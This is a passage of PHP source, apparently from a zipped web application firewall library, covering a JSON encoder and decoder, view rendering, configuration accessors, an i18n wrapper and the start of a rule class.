				// this case should never be reached, because we are in ASCII range
				// see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
				return $utf8;

			case 2:
				// return a UTF-16 character from a 2-byte UTF-8 char
				// see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
				return chr(0x07 & (ord($utf8[0]) >> 2))
				. chr((0xC0 & (ord($utf8[0]) << 6))
					| (0x3F & ord($utf8[1])));

			case 3:
				// return a UTF-16 character from a 3-byte UTF-8 char
				// see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
				return chr((0xF0 & (ord($utf8[0]) << 4))
					| (0x0F & (ord($utf8[1]) >> 2)))
				. chr((0xC0 & (ord($utf8[1]) << 6))
					| (0x7F & ord($utf8[2])));
		}

		// ignoring UTF-32 for now, sorry
		return '';
	}

	/**
	 * encodes an arbitrary variable into JSON format (and sends JSON Header)
	 *
	 * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
	 *                           see argument 1 to Services_JSON() above for array-parsing behavior.
	 *                           if var is a strng, note that encode() always expects it
	 *                           to be in ASCII or UTF-8 format!
	 *
	 * @return   mixed   JSON string representation of input var or an error if a problem occurs
	 * @access   public
	 */
	function encode($var)
	{
		header('Content-type: application/json');
		return $this->encodeUnsafe($var);
	}
	/**
	 * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow XSS!!!!)
	 *
	 * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
	 *                           see argument 1 to Services_JSON() above for array-parsing behavior.
	 *                           if var is a strng, note that encode() always expects it
	 *                           to be in ASCII or UTF-8 format!
	 *
	 * @return   mixed   JSON string representation of input var or an error if a problem occurs
	 * @access   public
	 */
	function encodeUnsafe($var)
	{
		// see bug #16908 - regarding numeric locale printing
		$lc = setlocale(LC_NUMERIC, 0);
		setlocale(LC_NUMERIC, 'C');
		$ret = $this->_encode($var);
		setlocale(LC_NUMERIC, $lc);
		return $ret;

	}
	/**
	 * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format
	 *
	 * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
	 *                           see argument 1 to Services_JSON() above for array-parsing behavior.
	 *                           if var is a strng, note that encode() always expects it
	 *                           to be in ASCII or UTF-8 format!
	 *
	 * @return   mixed   JSON string representation of input var or an error if a problem occurs
	 * @access   public
	 */
	function _encode($var)
	{

		switch (gettype($var)) {
			case 'boolean':
				return $var ? 'true' : 'false';

			case 'NULL':
				return 'null';

			case 'integer':
				return (int) $var;

			case 'double':
			case 'float':
				return  (float) $var;

			case 'string':
				// STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
				$ascii = '';
				$strlen_var = $this->strlen8($var);

				/*
				 * Iterate over every character in the string,
				 * escaping with a slash or encoding to UTF-8 where necessary
				 */
				for ($c = 0; $c < $strlen_var; ++$c) {

					$ord_var_c = ord($var[$c]);

					switch (true) {
						case $ord_var_c == 0x08:
							$ascii .= '\b';
							break;
						case $ord_var_c == 0x09:
							$ascii .= '\t';
							break;
						case $ord_var_c == 0x0A:
							$ascii .= '\n';
							break;
						case $ord_var_c == 0x0C:
							$ascii .= '\f';
							break;
						case $ord_var_c == 0x0D:
							$ascii .= '\r';
							break;

						case $ord_var_c == 0x22:
						case $ord_var_c == 0x2F:
						case $ord_var_c == 0x5C:
							// double quote, slash, slosh
							$ascii .= '\\'.$var[$c];
							break;

						case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
							// characters U-00000000 - U-0000007F (same as ASCII)
							$ascii .= $var[$c];
							break;

						case (($ord_var_c & 0xE0) == 0xC0):
							// characters U-00000080 - U-000007FF, mask 110XXXXX
							// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
							if ($c+1 >= $strlen_var) {
								$c += 1;
								$ascii .= '?';
								break;
							}

							$char = pack('C*', $ord_var_c, ord($var[$c + 1]));
							$c += 1;
							$utf16 = $this->utf82utf16($char);
							$ascii .= sprintf('\u%04s', bin2hex($utf16));
							break;

						case (($ord_var_c & 0xF0) == 0xE0):
							if ($c+2 >= $strlen_var) {
								$c += 2;
								$ascii .= '?';
								break;
							}
							// characters U-00000800 - U-0000FFFF, mask 1110XXXX
							// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
							$char = pack('C*', $ord_var_c,
								@ord($var[$c + 1]),
								@ord($var[$c + 2]));
							$c += 2;
							$utf16 = $this->utf82utf16($char);
							$ascii .= sprintf('\u%04s', bin2hex($utf16));
							break;

						case (($ord_var_c & 0xF8) == 0xF0):
							if ($c+3 >= $strlen_var) {
								$c += 3;
								$ascii .= '?';
								break;
							}
							// characters U-00010000 - U-001FFFFF, mask 11110XXX
							// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
							$char = pack('C*', $ord_var_c,
								ord($var[$c + 1]),
								ord($var[$c + 2]),
								ord($var[$c + 3]));
							$c += 3;
							$utf16 = $this->utf82utf16($char);
							$ascii .= sprintf('\u%04s', bin2hex($utf16));
							break;

						case (($ord_var_c & 0xFC) == 0xF8):
							// characters U-00200000 - U-03FFFFFF, mask 111110XX
							// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
							if ($c+4 >= $strlen_var) {
								$c += 4;
								$ascii .= '?';
								break;
							}
							$char = pack('C*', $ord_var_c,
								ord($var[$c + 1]),
								ord($var[$c + 2]),
								ord($var[$c + 3]),
								ord($var[$c + 4]));
							$c += 4;
							$utf16 = $this->utf82utf16($char);
							$ascii .= sprintf('\u%04s', bin2hex($utf16));
							break;

						case (($ord_var_c & 0xFE) == 0xFC):
							if ($c+5 >= $strlen_var) {
								$c += 5;
								$ascii .= '?';
								break;
							}
							// characters U-04000000 - U-7FFFFFFF, mask 1111110X
							// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
							$char = pack('C*', $ord_var_c,
								ord($var[$c + 1]),
								ord($var[$c + 2]),
								ord($var[$c + 3]),
								ord($var[$c + 4]),
								ord($var[$c + 5]));
							$c += 5;
							$utf16 = $this->utf82utf16($char);
							$ascii .= sprintf('\u%04s', bin2hex($utf16));
							break;
					}
				}
				return  '"'.$ascii.'"';

			case 'array':
				/*
				 * As per JSON spec if any array key is not an integer
				 * we must treat the whole array as an object. We
				 * also try to catch a sparsely populated associative
				 * array with numeric keys here because some JS engines
				 * will create an array with empty indexes up to
				 * max_index which can cause memory issues and because
				 * the keys, which may be relevant, will be remapped
				 * otherwise.
				 *
				 * As per the ECMA and JSON specification an object may
				 * have any string as a property. Unfortunately due to
				 * a hole in the ECMA specification if the key is a
				 * ECMA reserved word or starts with a digit the
				 * parameter is only accessible using ECMAScript's
				 * bracket notation.
				 */

				// treat as a JSON object
				if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
					$properties = array_map(array($this, 'name_value'),
						array_keys($var),
						array_values($var));

					foreach($properties as $property) {
						if(wfServices_JSON::isError($property)) {
							return $property;
						}
					}

					return '{' . join(',', $properties) . '}';
				}

				// treat it like a regular array
				$elements = array_map(array($this, '_encode'), $var);

				foreach($elements as $element) {
					if(wfServices_JSON::isError($element)) {
						return $element;
					}
				}

				return '[' . join(',', $elements) . ']';

			case 'object':

				// support toJSON methods.
				if (($this->use & WF_SERVICES_JSON_USE_TO_JSON) && method_exists($var, 'toJSON')) {
					// this may end up allowing unlimited recursion
					// so we check the return value to make sure it's not got the same method.
					$recode = $var->toJSON();

					if (method_exists($recode, 'toJSON')) {

						return ($this->use & WF_SERVICES_JSON_SUPPRESS_ERRORS)
							? 'null'
							: new wfServices_JSON_Error(get_class($var).
								" toJSON returned an object with a toJSON method.");

					}

					return $this->_encode( $recode );
				}

				$vars = get_object_vars($var);

				$properties = array_map(array($this, 'name_value'),
					array_keys($vars),
					array_values($vars));

				foreach($properties as $property) {
					if(wfServices_JSON::isError($property)) {
						return $property;
					}
				}

				return '{' . join(',', $properties) . '}';

			default:
				return ($this->use & WF_SERVICES_JSON_SUPPRESS_ERRORS)
					? 'null'
					: new wfServices_JSON_Error(gettype($var)." can not be encoded as JSON string");
		}
	}

	/**
	 * array-walking function for use in generating JSON-formatted name-value pairs
	 *
	 * @param    string  $name   name of key to use
	 * @param    mixed   $value  reference to an array element to be encoded
	 *
	 * @return   string  JSON-formatted name-value pair, like '"name":value'
	 * @access   private
	 */
	function name_value($name, $value)
	{
		$encoded_value = $this->_encode($value);

		if(wfServices_JSON::isError($encoded_value)) {
			return $encoded_value;
		}

		return $this->_encode(strval($name)) . ':' . $encoded_value;
	}

	/**
	 * reduce a string by removing leading and trailing comments and whitespace
	 *
	 * @param    $str    string      string value to strip of comments and whitespace
	 *
	 * @return   string  string value stripped of comments and whitespace
	 * @access   private
	 */
	function reduce_string($str)
	{
		$str = preg_replace(array(

			// eliminate single line comments in '// ...' form
			'#^\s*//(.+)$#m',

			// eliminate multi-line comments in '/* ... */' form, at start of string
			'#^\s*/\*(.+)\*/#Us',

			// eliminate multi-line comments in '/* ... */' form, at end of string
			'#/\*(.+)\*/\s*$#Us'

		), '', $str);

		// eliminate extraneous space
		return trim($str);
	}

	/**
	 * decodes a JSON string into appropriate variable
	 *
	 * @param    string  $str    JSON-formatted string
	 *
	 * @return   mixed   number, boolean, string, array, or object
	 *                   corresponding to given JSON input string.
	 *                   See argument 1 to Services_JSON() above for object-output behavior.
	 *                   Note that decode() always returns strings
	 *                   in ASCII or UTF-8 format!
	 * @access   public
	 */
	function decode($str)
	{
		$str = $this->reduce_string($str);

		switch (strtolower($str)) {
			case 'true':
				return true;

			case 'false':
				return false;

			case 'null':
				return null;

			default:
				$m = array();

				if (is_numeric($str)) {
					// Lookie-loo, it's a number

					// This would work on its own, but I'm trying to be
					// good about returning integers where appropriate:
					// return (float)$str;

					// Return float or int, as appropriate
					return ((float)$str == (integer)$str)
						? (integer)$str
						: (float)$str;

				} elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
					// STRINGS RETURNED IN UTF-8 FORMAT
					$delim = $this->substr8($str, 0, 1);
					$chrs = $this->substr8($str, 1, -1);
					$utf8 = '';
					$strlen_chrs = $this->strlen8($chrs);

					for ($c = 0; $c < $strlen_chrs; ++$c) {

						$substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
						$ord_chrs_c = ord($chrs[$c]);

						switch (true) {
							case $substr_chrs_c_2 == '\b':
								$utf8 .= chr(0x08);
								++$c;
								break;
							case $substr_chrs_c_2 == '\t':
								$utf8 .= chr(0x09);
								++$c;
								break;
							case $substr_chrs_c_2 == '\n':
								$utf8 .= chr(0x0A);
								++$c;
								break;
							case $substr_chrs_c_2 == '\f':
								$utf8 .= chr(0x0C);
								++$c;
								break;
							case $substr_chrs_c_2 == '\r':
								$utf8 .= chr(0x0D);
								++$c;
								break;

							case $substr_chrs_c_2 == '\\"':
							case $substr_chrs_c_2 == '\\\'':
							case $substr_chrs_c_2 == '\\\\':
							case $substr_chrs_c_2 == '\\/':
								if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
									($delim == "'" && $substr_chrs_c_2 != '\\"')) {
									$utf8 .= $chrs[++$c];
								}
								break;

							case preg_match('/\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)):
								// single, escaped unicode character
								$utf16 = chr(hexdec($this->substr8($chrs, ($c + 2), 2)))
									. chr(hexdec($this->substr8($chrs, ($c + 4), 2)));
								$utf8 .= $this->utf162utf8($utf16);
								$c += 5;
								break;

							case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
								$utf8 .= $chrs[$c];
								break;

							case ($ord_chrs_c & 0xE0) == 0xC0:
								// characters U-00000080 - U-000007FF, mask 110XXXXX
								//see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
								$utf8 .= $this->substr8($chrs, $c, 2);
								++$c;
								break;

							case ($ord_chrs_c & 0xF0) == 0xE0:
								// characters U-00000800 - U-0000FFFF, mask 1110XXXX
								// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
								$utf8 .= $this->substr8($chrs, $c, 3);
								$c += 2;
								break;

							case ($ord_chrs_c & 0xF8) == 0xF0:
								// characters U-00010000 - U-001FFFFF, mask 11110XXX
								// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
								$utf8 .= $this->substr8($chrs, $c, 4);
								$c += 3;
								break;

							case ($ord_chrs_c & 0xFC) == 0xF8:
								// characters U-00200000 - U-03FFFFFF, mask 111110XX
								// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
								$utf8 .= $this->substr8($chrs, $c, 5);
								$c += 4;
								break;

							case ($ord_chrs_c & 0xFE) == 0xFC:
								// characters U-04000000 - U-7FFFFFFF, mask 1111110X
								// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
								$utf8 .= $this->substr8($chrs, $c, 6);
								$c += 5;
								break;

						}

					}

					return $utf8;

				} elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
					// array, or object notation

					if ($str[0] == '[') {
						$stk = array(WF_SERVICES_JSON_IN_ARR);
						$arr = array();
					} else {
						if ($this->use & WF_SERVICES_JSON_LOOSE_TYPE) {
							$stk = array(WF_SERVICES_JSON_IN_OBJ);
							$obj = array();
						} else {
							$stk = array(WF_SERVICES_JSON_IN_OBJ);
							$obj = new stdClass();
						}
					}

					array_push($stk, array('what'  => WF_SERVICES_JSON_SLICE,
					                       'where' => 0,
					                       'delim' => false));

					$chrs = $this->substr8($str, 1, -1);
					$chrs = $this->reduce_string($chrs);

					if ($chrs == '') {
						if (reset($stk) == WF_SERVICES_JSON_IN_ARR) {
							return $arr;

						} else {
							return $obj;

						}
					}

					//print("\nparsing {$chrs}\n");

					$strlen_chrs = $this->strlen8($chrs);

					for ($c = 0; $c <= $strlen_chrs; ++$c) {

						$top = end($stk);
						$substr_chrs_c_2 = $this->substr8($chrs, $c, 2);

						if (($c == $strlen_chrs) || (($chrs[$c] == ',') && ($top['what'] == WF_SERVICES_JSON_SLICE))) {
							// found a comma that is not inside a string, array, etc.,
							// OR we've reached the end of the character list
							$slice = $this->substr8($chrs, $top['where'], ($c - $top['where']));
							array_push($stk, array('what' => WF_SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
							//print("Found split at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

							if (reset($stk) == WF_SERVICES_JSON_IN_ARR) {
								// we are in an array, so just push an element onto the stack
								array_push($arr, $this->decode($slice));

							} elseif (reset($stk) == WF_SERVICES_JSON_IN_OBJ) {
								// we are in an object, so figure
								// out the property name and set an
								// element in an associative array,
								// for now
								$parts = array();

								if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:/Uis', $slice, $parts)) {
									// "name":value pair
									$key = $this->decode($parts[1]);
									$val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));
									if ($this->use & WF_SERVICES_JSON_LOOSE_TYPE) {
										$obj[$key] = $val;
									} else {
										$obj->$key = $val;
									}
								} elseif (preg_match('/^\s*(\w+)\s*:/Uis', $slice, $parts)) {
									// name:value pair, where name is unquoted
									$key = $parts[1];
									$val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));

									if ($this->use & WF_SERVICES_JSON_LOOSE_TYPE) {
										$obj[$key] = $val;
									} else {
										$obj->$key = $val;
									}
								}

							}

						} elseif ((($chrs[$c] == '"') || ($chrs[$c] == "'")) && ($top['what'] != WF_SERVICES_JSON_IN_STR)) {
							// found a quote, and we are not inside a string
							array_push($stk, array('what' => WF_SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs[$c]));
							//print("Found start of string at {$c}\n");

						} elseif (($chrs[$c] == $top['delim']) &&
							($top['what'] == WF_SERVICES_JSON_IN_STR) &&
							(($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1)) {
							// found a quote, we're in a string, and it's not escaped
							// we know that it's not escaped becase there is _not_ an
							// odd number of backslashes at the end of the string so far
							array_pop($stk);
							//print("Found end of string at {$c}: ".$this->substr8($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");

						} elseif (($chrs[$c] == '[') &&
							in_array($top['what'], array(WF_SERVICES_JSON_SLICE, WF_SERVICES_JSON_IN_ARR, WF_SERVICES_JSON_IN_OBJ))) {
							// found a left-bracket, and we are in an array, object, or slice
							array_push($stk, array('what' => WF_SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
							//print("Found start of array at {$c}\n");

						} elseif (($chrs[$c] == ']') && ($top['what'] == WF_SERVICES_JSON_IN_ARR)) {
							// found a right-bracket, and we're in an array
							array_pop($stk);
							//print("Found end of array at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

						} elseif (($chrs[$c] == '{') &&
							in_array($top['what'], array(WF_SERVICES_JSON_SLICE, WF_SERVICES_JSON_IN_ARR, WF_SERVICES_JSON_IN_OBJ))) {
							// found a left-brace, and we are in an array, object, or slice
							array_push($stk, array('what' => WF_SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
							//print("Found start of object at {$c}\n");

						} elseif (($chrs[$c] == '}') && ($top['what'] == WF_SERVICES_JSON_IN_OBJ)) {
							// found a right-brace, and we're in an object
							array_pop($stk);
							//print("Found end of object at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

						} elseif (($substr_chrs_c_2 == '/*') &&
							in_array($top['what'], array(WF_SERVICES_JSON_SLICE, WF_SERVICES_JSON_IN_ARR, WF_SERVICES_JSON_IN_OBJ))) {
							// found a comment start, and we are in an array, object, or slice
							array_push($stk, array('what' => WF_SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
							$c++;
							//print("Found start of comment at {$c}\n");

						} elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == WF_SERVICES_JSON_IN_CMT)) {
							// found a comment end, and we're in one now
							array_pop($stk);
							$c++;

							for ($i = $top['where']; $i <= $c; ++$i)
								$chrs = substr_replace($chrs, ' ', $i, 1);

							//print("Found end of comment at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

						}

					}

					if (reset($stk) == WF_SERVICES_JSON_IN_ARR) {
						return $arr;

					} elseif (reset($stk) == WF_SERVICES_JSON_IN_OBJ) {
						return $obj;

					}

				}
		}
	}

	/**
	 * @todo Ultimately, this should just call PEAR::isError()
	 */
	function isError($data, $code = null)
	{
		if (class_exists('pear')) {
			return PEAR::isError($data, $code);
		} elseif (is_object($data) && (get_class($data) == 'wfservices_json_error' ||
				is_subclass_of($data, 'wfServices_JSON_Error'))) {
			return true;
		}

		return false;
	}

	/**
	 * Calculates length of string in bytes
	 * @param string
	 * @return integer length
	 */
	function strlen8( $str )
	{
		if ( $this->_mb_strlen ) {
			return mb_strlen( $str, "8bit" );
		}
		return strlen( $str );
	}

	/**
	 * Returns part of a string, interpreting $start and $length as number of bytes.
	 * @param string
	 * @param integer start
	 * @param integer length
	 * @return integer length
	 */
	function substr8( $string, $start, $length=false )
	{
		if ( $length === false ) {
			$length = $this->strlen8( $string ) - $start;
		}
		if ( $this->_mb_substr ) {
			return mb_substr( $string, $start, $length, "8bit" );
		}
		return substr( $string, $start, $length );
	}

}

if (class_exists('PEAR_Error')) {

	class wfServices_JSON_Error extends PEAR_Error
	{
		function __construct($message = 'unknown error', $code = null,
		                     $mode = null, $options = null, $userinfo = null)
		{
			parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
		}

		public function wfServices_JSON_Error($message = 'unknown error', $code = null,
		                                    $mode = null, $options = null, $userinfo = null) {
			self::__construct($message = 'unknown error', $code = null,
				$mode = null, $options = null, $userinfo = null);
		}
	}

} else {

	/**
	 * @todo Ultimately, this class shall be descended from PEAR_Error
	 */
	class wfServices_JSON_Error
	{
		/**
		 * PHP5 constructor.
		 */
		function __construct( $message = 'unknown error', $code = null,
		                      $mode = null, $options = null, $userinfo = null )
		{

		}

		/**
		 * PHP4 constructor.
		 */
		public function wfServices_JSON_Error( $message = 'unknown error', $code = null,
		                                     $mode = null, $options = null, $userinfo = null ) {
			self::__construct( $message, $code, $mode, $options, $userinfo );
		}
	}

}
}
PK       ! D	  	    view.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

class wfWAFView {

	/**
	 * @var string
	 */
	protected $viewPath;

	/**
	 * @var string
	 */
	protected $viewFileExtension = '.php';

	/**
	 * @var string
	 */
	protected $view;

	/**
	 * @var array
	 */
	protected $data;

	/**
	 * @param string $view
	 * @param array  $data
	 * @return wfWAFView
	 */
	public static function create($view, $data = array()) {
		return new self($view, $data);
	}

	/**
	 * @param string $view
	 * @param array  $data
	 */
	public function __construct($view, $data = array()) {
		$this->viewPath = WFWAF_VIEW_PATH;
		$this->view = $view;
		$this->data = $data;
	}

	/**
	 * @return string
	 * @throws wfWAFViewNotFoundException
	 */
	public function render() {
		$view = preg_replace('/\.{2,}/', '.', $this->view);
		$viewPath = $this->viewPath . '/' . $view . $this->viewFileExtension;
		if (!file_exists($viewPath)) {
			throw new wfWAFViewNotFoundException('The view ' . $viewPath . ' does not exist or is not readable.');
		}

		extract($this->data, EXTR_SKIP);

		if (!defined('WFWAF_VIEW_RENDERING')) { define('WFWAF_VIEW_RENDERING', true); }
		ob_start();
		/** @noinspection PhpIncludeInspection */
		include $viewPath;
		return ob_get_clean();
	}

	/**
	 * @return string
	 */
	public function __toString() {
		try {
			return $this->render();
		} catch (wfWAFViewNotFoundException $e) {
			return defined('WFWAF_DEBUG') && WFWAF_DEBUG ? $e->getMessage() : 'The view could not be loaded.';
		}
	}

	/**
	 * @param $data
	 * @return $this
	 */
	public function addData($data) {
		$this->data = array_merge($data, $this->data);
		return $this;
	}

	/**
	 * @return array
	 */
	public function getData() {
		return $this->data;
	}

	/**
	 * @param array $data
	 * @return $this
	 */
	public function setData($data) {
		$this->data = $data;
		return $this;
	}

	/**
	 * @return string
	 */
	public function getView() {
		return $this->view;
	}

	/**
	 * @param string $view
	 * @return $this
	 */
	public function setView($view) {
		$this->view = $view;
		return $this;
	}

	/**
	 * Prevent POP
	 */
	public function __wakeup() {
		$this->viewPath = WFWAF_VIEW_PATH;
		$this->view = null;
		$this->data = array();
		$this->viewFileExtension = '.php';
	}
}

class wfWAFViewNotFoundException extends Exception {
}
}
PK       ! ȉ4    
  config.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

/**
 * Class wfWAFConfig provides a convenience interface for accessing the WAF's configuration
 * that does not throw exceptions. All exceptions are caught and, if WFWAF_DEBUG is true, logged 
 * to the server error log.
 */
class wfWAFConfig {
	public static function set($key, $val, $waf = null, $category = '') {
		if (!($waf instanceof wfWAF)) {
			$waf = wfWAF::getInstance();
		}
		
		try {
			$waf->getStorageEngine()->setConfig($key, $val, $category);
		}
		catch (Exception $e) {
			if (WFWAF_DEBUG) {
				error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
			}
		}
	}
	
	public static function get($key, $default = null, $waf = null, $category = '') {
		if (!($waf instanceof wfWAF)) {
			$waf = wfWAF::getInstance();
		}
		
		try {
			return $waf->getStorageEngine()->getConfig($key, $default, $category);
		}
		catch (Exception $e) {
			if (WFWAF_DEBUG) {
				error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
			}
		}
		return $default;
	}
	
	public static function unsetKey($key, $waf = null, $category = '') {
		if (!($waf instanceof wfWAF)) {
			$waf = wfWAF::getInstance();
		}
		
		try {
			$waf->getStorageEngine()->unsetConfig($key, $category);
		}
		catch (Exception $e) {
			if (WFWAF_DEBUG) {
				error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
			}
		}
	}
	
	public static function isInLearningMode($waf = null) {
		if (!($waf instanceof wfWAF)) {
			$waf = wfWAF::getInstance();
		}
		
		try {
			return $waf->getStorageEngine()->isInLearningMode();
		}
		catch (Exception $e) {
			if (WFWAF_DEBUG) {
				error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
			}
		}
		return false;
	}
	
	public static function isDisabled($waf = null) {
		if (!($waf instanceof wfWAF)) {
			$waf = wfWAF::getInstance();
		}
		
		try {
			return $waf->getStorageEngine()->isDisabled();
		}
		catch (Exception $e) {
			if (WFWAF_DEBUG) {
				error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
			}
		}
		return true;
	}
}
}
PK       ! lM      i18n.phpnu [        <?php

class wfWAFI18n {

	/**
	 * @var self
	 */
	protected static $instance;

	/**
	 * @param string $text
	 * @return string
	 */
	public static function __($text) {
		return self::getInstance()->getI18nEngine()->__($text);
	}

	public static function esc_html__($text) {
		return htmlentities(self::__($text), ENT_QUOTES, 'UTF-8');
	}

	public static function esc_html_e($text) {
		echo self::esc_html__($text);
	}

	/**
	 * @return self
	 */
	public static function getInstance() {
		if (!self::$instance) {
			self::$instance = new self(new wfWAFI18nEngineDefault());
		}
		return self::$instance;
	}

	/**
	 * @param self $i18nEngine
	 */
	public static function setInstance($i18nEngine) {
		self::$instance = $i18nEngine;
	}

	/** @var wfWAFI18nEngine */
	private $i18nEngine;

	/**
	 * @param wfWAFI18nEngine $i18nEngine
	 */
	public function __construct($i18nEngine) {
		$this->i18nEngine = $i18nEngine;
	}

	/**
	 * @return wfWAFI18nEngine
	 */
	public function getI18nEngine() {
		return $this->i18nEngine;
	}

	/**
	 * @param wfWAFI18nEngine $i18nEngine
	 */
	public function setI18nEngine($i18nEngine) {
		$this->i18nEngine = $i18nEngine;
	}
}

class wfWAFI18nEngineDefault implements wfWAFI18nEngine {

	/**
	 * @param string $text
	 * @return string
	 */
	public function __($text) {
		return $text;
	}
}

interface wfWAFI18nEngine {

	/**
	 * @param string $text
	 * @return string
	 */
	public function __($text);

}PK       ! 	7    	  rules.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

interface wfWAFRuleInterface {

	/**
	 * @return string
	 */
	public function render();

	public function renderRule();

	public function evaluate();
}

class wfWAFRuleException extends wfWAFException {
}

class wfWAFRuleLogicalOperatorException extends wfWAFException {
}

class wfWAFRule implements wfWAFRuleInterface {

	private $ruleID;
	private $type;
	private $category;
	private $score;
	private $description;
	private $whitelist;
	private $action;
	/** @var wfWAFRuleComparisonGroup */
	private $comparisonGroup;
	/**
	 * @var wfWAF
	 */
	private $waf;

	/**
	 * @param wfWAF $waf
	 * @param int $ruleID
	 * @param string $type
	 * @param string $category
	 * @param int $score
	 * @param string $description
	 * @param int $whitelist
	 * @param string $action
	 * @param wfWAFRuleComparisonGroup $comparisonGroup
	 * @return wfWAFRule
	 */
	public static function create() {
		$waf = func_get_arg(0);
		$ruleID = func_get_arg(1);
		$type = func_get_arg(2);
		$category = func_get_arg(3);
		$score = func_get_arg(4);
		$description = func_get_arg(5);
		$whitelist = 1;
		$action = '';
		$comparisonGroup = null;
		//Compatibility with old compiled rules
		if (func_num_args() == 8) { //Pre-whitelist flag
			$action = func_get_arg(6);
			$comparisonGroup = func_get_arg(7);
		}
		else if (func_num_args() == 9) { //Whitelist flag
			$whitelist = func_get_arg(6);
			$action = func_get_arg(7);
			$comparisonGroup = func_get_arg(8);
		}
		return new self($waf, $ruleID, $type, $category, $score, $description, $whitelist, $action, $comparisonGroup);
	}

	/**
	 * @param string $value
	 * @return string
	 */
	public static function exportString($value) {
		return sprintf("'%s'", str_replace("'", "\\'", $value));
	}

	/**
	 * @param wfWAF $waf
	 * @param int $ruleID
	 * @param string $type
	 * @param string $category
	 * @param int $score
	 * @param string $description
	 * @param int $whitelist
	 * @param string $action
	 * @param wfWAFRuleComparisonGroup $comparisonGroup
	 */
	public function __construct($waf, $ruleID, $type, $category, $score, $description, $whitelist, $action, $comparisonGroup) {
		$this->setWAF($waf);
		$this->setRuleID($ruleID);
		$this->setType($type);
		$this->setCategory($category);
		$this->setScore($score);
		$this->setDescription($description);
		$this->setWhitelist($whitelist);
		$this->setAction($action);
		$this->setComparisonGroup($comparisonGroup);
	}

	public function __sleep() {
		return array(
			'ruleID',
			'type',
			'category',
			'score',
			'description',
			'whitelist',
			'action',
			'comparisonGroup',
		);
	}

	/**
	 * @return string
	 */
	public function render() {
		return sprintf('%s::create($this, %d, %s, %s, %s, %s, %d, %s, %s)', get_class($this),
			$this->getRuleID(),
			var_export($this->getType(), true),
			var_export($this->getCategory(), true),
			var_export($this->getScore(), true),
			var_export($this->getDescription(), true),
			var_export($this->getWhitelist(), true),
			var_export($this->getAction(), true),
			$this->getComparisonGroup()->render()
		);
	}

	/**
	 * @return string
	 */
	public function renderRule() {
		return sprintf(<<<RULE
if %s:
	%s(%s)
RULE
			,
			$this->getComparisonGroup()->renderRule(),
			$this->getAction(),
			join(', ', array_filter(array(
				$this->getRuleID() ? 'id=' . (int) $this->getRuleID() : '',
				$this->getCategory() ? 'category=' . self::exportString($this->getCategory()) : '',
				$this->getScore() > 0 ? 'score=' . (int) $this->getScore() : '',
				$this->getDescription() ? 'description=' . self::exportString($this->getDescription()) : '',
				$this->getWhitelist() == 0 ? 'whitelist=0' : '',
			)))
		);
	}

	public function evaluate() {
		$comparisons = $this->getComparisonGroup();
		$waf = $this->getWAF();
		if ($comparisons instanceof wfWAFRuleComparisonGroup && $waf instanceof wfWAF) {
			$comparisons->setRule($this);
			if ($comparisons->evaluate()) {
				$waf->tripRule($this);
				return true;
			}
		}
		return false;
	}

	public function debug() {
		return $this->getComparisonGroup()->debug();
	}

	/**
	 * For JSON.
	 *
	 * @return array
	 */
	public function toArray() {
		return array(
